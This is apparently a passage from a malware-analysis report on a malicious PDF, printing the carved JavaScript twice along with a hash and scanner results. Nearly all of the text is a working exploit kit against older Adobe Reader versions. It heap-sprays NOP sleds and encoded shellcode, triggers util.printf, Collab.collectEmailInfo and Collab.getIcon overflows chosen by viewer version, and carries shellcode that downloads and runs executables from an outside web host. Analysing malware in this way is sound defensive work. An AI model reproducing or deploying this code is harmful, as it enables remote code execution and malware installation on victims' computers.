var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u672F%u6968%u6D6C%u706F%u7A73%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u672F%u7974%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5294 bytes
SHA-256: 1da9f7114a5f3653cf1a04cb81847f2ab43a594c6fe2169760c922c5a9847d7c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u612F%u6765%u6B6A%u706D%u7773%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u672F%u6968%u6D6C%u706F%u7A73%u2E33%u7865%u0065");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7461%u3737%u622E%u7A69%u6D2F%u7979%u672F%u7974%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.